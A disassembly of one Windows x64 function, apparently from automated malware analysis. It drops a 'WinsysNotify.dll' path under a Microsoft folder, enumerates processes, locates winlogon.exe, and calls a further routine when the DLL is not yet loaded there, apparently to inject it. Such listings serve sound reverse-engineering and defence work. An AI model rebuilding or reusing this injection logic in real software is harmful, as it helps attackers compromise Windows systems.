Function at 0x140002510
Capabilities:
Check if file exists
Create directory
Enumerate process modules
Get common file path
Get process image filename

Disassembly:
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x33b0
call fcn.140028100
sub rsp, rax
mov qword [rsp + 0x60], 0xfffffffffffffffe
mov qword [rsp + 0x33e0], rbx
mov qword [rsp + 0x33e8], rbp
mov qword [rsp + 0x33f0], rsi
mov rax, qword [0x140036c80]
xor rax, rsp
mov qword [rsp + 0x33a0], rax
xor r9d, r9d
lea r8d, [r9 + 0x23]
lea rdx, [rsp + 0x3290]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
test eax, eax
je 0x140002bbd
call fcn.1400035d4
mov rdx, rax
xor ecx, ecx
test rax, rax
setne cl
test ecx, ecx
jne 0x140002598
mov ecx, 0x80004005
call fcn.140001290
int3
mov rax, qword [rax]
mov rcx, rdx
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x48], rax
lea r9, str.Microsoft
lea r8, [rsp + 0x3290]
lea rdx, str._s_s
lea rcx, [rsp + 0x48]
call fcn.140001340
mov rdi, qword [rsp + 0x48]
mov rcx, rdi
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x140002612
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x140002612
lea rdx, [rdi - 0x18]
or r13, 0xffffffffffffffff
lock xadd dword [rdx + 0x10], r13d
add r13d, 0xffffffff
test r13d, r13d
jg 0x14000260b
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
xor eax, eax
jmp 0x140002bbd
call fcn.1400035d4
mov r11, rax
xor ecx, ecx
test rax, rax
setne cl
test ecx, ecx
jne 0x140002631
mov ecx, 0x80004005
call fcn.140001290
int3
mov rax, qword [rax]
mov rcx, r11
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x40], rax
lea r9, str.WinsysNotify.dll
mov r8, rdi
lea rdx, str._s_s
lea rcx, [rsp + 0x40]
call fcn.140001340
xor r15d, r15d
xor edi, edi
mov dword [rsp + 0x28], edi
lea r8, [rsp + 0x50]
mov edx, 0x1000
lea rcx, [rsp + 0x70]
call sub.PSAPI.DLL_EnumProcesses
test eax, eax
jne 0x1400026cd
mov rdx, qword [rsp + 0x40]
add rdx, 0xffffffffffffffe8
or r13, 0xffffffffffffffff
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
add eax, r13d
test eax, eax
jg 0x1400026a5
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x48]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], r13d
add r13d, 0xffffffff
test r13d, r13d
jg 0x1400026c6
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
xor eax, eax
jmp 0x140002bbd
mov r12d, dword [rsp + 0x50]
or r13, 0xffffffffffffffff
shr r12d, 2
mov dword [rsp + 0x30], r12d
mov ebp, edi
mov dword [rsp + 0x2c], edi
je 0x140002b78
lea rsi, [rsp + 0x70]
mov qword [rsp + 0x38], rsi
nop
nop
nop
lea rcx, [rsp + 0x3070]
mov rax, qword [str._unknown_]
mov qword [rcx], rax
movzx eax, word [0x14002e098]
mov word [rcx + 8], ax
xor edx, edx
mov r8d, 0xfa
lea rcx, [rsp + 0x307a]
call fcn.140014060
mov r8d, dword [rsi]
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r14, rax
test rax, rax
je 0x140002b16
mov r9d, 0x104
lea r8, [rsp + 0x3070]
xor edx, edx
mov rcx, rax
call sub.PSAPI.DLL_GetModuleFileNameExA
test eax, eax
jne 0x140002788
mov r8d, 0x104
lea rdx, [rsp + 0x3070]
mov rcx, r14
call sub.PSAPI.DLL_GetProcessImageFileNameA
test eax, eax
je 0x140002adc
call fcn.1400035d4
xor ecx, ecx
test rax, rax
setne cl
test ecx, ecx
je 0x140002b63
mov rdx, qword [rax]
mov rcx, rax
call qword [rdx + 0x18]
lea rbx, [rax + 0x18]
mov qword [rsp + 0x20], rbx
lea rcx, [rsp + 0x3070]
lea rax, [rsp + 0x3070]
test rax, 0xffffffffffff0000
jne 0x1400027f4
movzx edi, cx
mov ecx, edi
call fcn.14000311c
test rax, rax
je 0x1400028ee
mov r8d, edi
mov rdx, rax
lea rcx, [rsp + 0x20]
call fcn.1400018f0
mov rbx, qword [rsp + 0x20]
jmp 0x1400028ee
xor eax, eax
mov rcx, r13
lea rdi, [rsp + 0x3070]
repne scasb al, byte [rdi]
not rcx
sub rcx, 1
mov rdi, rcx
test ecx, ecx
jne 0x140002868
lea rdx, [rbx - 0x18]
mov rdi, qword [rdx]
cmp dword [rdx + 8], eax
je 0x1400028ee
cmp dword [rdx + 0x10], eax
jge 0x140002839
cmp dword [rbx - 0xc], eax
jl 0x140002b30
mov dword [rbx - 0x10], eax
mov byte [rbx], al
jmp 0x1400028ee
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
add eax, 0xffffffff
test eax, eax
jg 0x140002851
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + 0x18]
lea rbx, [rax + 0x18]
mov qword [rsp + 0x20], rbx
jmp 0x1400028ee
mov esi, dword [rbx - 0x10]
lea rbp, [rsp + 0x3070]
sub rbp, rbx
mov ecx, 1
sub ecx, dword [rbx - 8]
mov eax, dword [rbx - 0xc]
sub eax, edi
or eax, ecx
jge 0x140002898
mov edx, edi
lea rcx, [rsp + 0x20]
call fcn.1400015c0
mov rbx, qword [rsp + 0x20]
cmp rbp, rsi
ja 0x1400028b4
movsxd rsi, edi
lea r8, [rbx + rbp]
mov r9, rsi
mov rdx, rsi
mov rcx, rbx
call fcn.140011c80
jmp 0x1400028cd
movsxd rsi, edi
mov r9, rsi
lea r8, [rsp + 0x3070]
mov rdx, rsi
mov rcx, rbx
call fcn.140011d10
test edi, edi
js 0x140002b58
cmp edi, dword [rbx - 0xc]
jg 0x140002b58
mov dword [rbx - 0x10], edi
mov byte [rsi + rbx], 0
mov rsi, qword [rsp + 0x38]
mov ebp, dword [rsp + 0x2c]
mov edx, 0x5c
mov rcx, rbx
call fcn.140012a90
test rax, rax
je 0x140002af0
sub eax, ebx
cmp eax, 0xffffffff
je 0x140002af0
lea r8d, [rax + 1]
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x20]
call fcn.140002fc0
nop
mov rdx, rax
lea rcx, [rsp + 0x20]
call fcn.140001720
nop
mov rdx, qword [rsp + 0x58]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
add eax, 0xffffffff
test eax, eax
jg 0x140002952
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rdi, qword [rsp + 0x20]
movsxd rbx, dword [rdi - 0x10]
mov ecx, 1
sub ecx, dword [rdi - 8]
mov eax, dword [rdi - 0xc]
sub eax, ebx
or eax, ecx
jge 0x14000297d
mov edx, ebx
lea rcx, [rsp + 0x20]
call fcn.1400015c0
mov rdi, qword [rsp + 0x20]
lea eax, [rbx + 1]
movsxd rdx, eax
mov rcx, rdi
call fcn.140012cf0
test eax, eax
je 0x1400029b3
cmp eax, 0xc
je 0x140002b47
cmp eax, 0x16
je 0x140002b41
cmp eax, 0x22
je 0x140002b41
cmp eax, 0x50
jne 0x140002b3b
test ebx, ebx
js 0x140002b4d
cmp ebx, dword [rdi - 0xc]
jg 0x140002b4d
mov dword [rdi - 0x10], ebx
mov byte [rbx + rdi], 0
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x20]
call fcn.140001720
xor r12d, r12d
lea rdx, str.winlogon.exe
mov rbx, qword [rsp + 0x20]
mov rcx, rbx
call fcn.140012750
test eax, eax
jne 0x140002aa2
lea r9, [rsp + 0x54]
mov r8d, 0x2000
lea rdx, [rsp + 0x1070]
mov rcx, r14
call sub.PSAPI.DLL_EnumProcessModules
mov rdi, qword [rsp + 0x40]
test eax, eax
je 0x140002a89
xor esi, esi
lea rbp, [rsp + 0x1070]
nop
nop
nop
mov r9d, 0x104
lea r8, [rsp + 0x3180]
mov rdx, qword [rbp]
mov rcx, r14
call sub.PSAPI.DLL_GetModuleFileNameExA
test eax, eax
je 0x140002a6d
lea rdx, [rsp + 0x3180]
mov rcx, rdi
call fcn.140012750
test eax, eax
jne 0x140002a6d
mov r12d, 1
mov dword [rsp + 0x28], r12d
add esi, 1
add rbp, 8
mov ecx, dword [rsp + 0x54]
shr rcx, 3
movsxd rax, esi
cmp rax, rcx
jbe 0x140002a30
test r12d, r12d
jne 0x140002a9c
mov rdx, rdi
mov rax, qword [rsp + 0x38]
mov ecx, dword [rax]
call fcn.140002130
mov dword [rsp + 0x28], eax
mov r15d, 1
lea rdx, [rbx - 0x18]
mov ecx, r13d
lock xadd dword [rdx + 0x10], ecx
add ecx, 0xffffffff
test ecx, ecx
jg 0x140002ace
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rsi, qword [rsp + 0x38]
mov ebp, dword [rsp + 0x2c]
mov r12d, dword [rsp + 0x30]
jmp 0x140002adc
mov rsi, qword [rsp + 0x38]
mov ebp, dword [rsp + 0x2c]
mov r12d, dword [rsp + 0x30]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r15d, r15d
jne 0x140002b6e
jmp 0x140002b16
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rdx, [rbx - 0x18]
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
add eax, 0xffffffff
test eax, eax
jg 0x140002b16
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
add ebp, 1
mov dword [rsp + 0x2c], ebp
add rsi, 4
mov qword [rsp + 0x38], rsi
cmp ebp, r12d
jae 0x140002b74
jmp 0x140002700
mov ecx, 0x80070057
call fcn.140001290
nop
call fcn.140003438
int3
call fcn.140003438
int3
call fcn.140003414
int3
mov ecx, 0x80070057
call fcn.140001290
nop
mov ecx, 0x80070057
call fcn.140001290
nop
mov ecx, 0x80004005
call fcn.140001290
int3
mov edi, dword [rsp + 0x28]
jmp 0x140002b78
mov edi, dword [rsp + 0x28]
mov rdx, qword [rsp + 0x40]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
add eax, 0xffffffff
test eax, eax
jg 0x140002b9a
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x48]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], r13d
add r13d, 0xffffffff
test r13d, r13d
jg 0x140002bbb
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov eax, edi
mov rcx, qword [rsp + 0x33a0]
xor rcx, rsp
call fcn.140011c60
lea r11, [rsp + 0x33b0]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret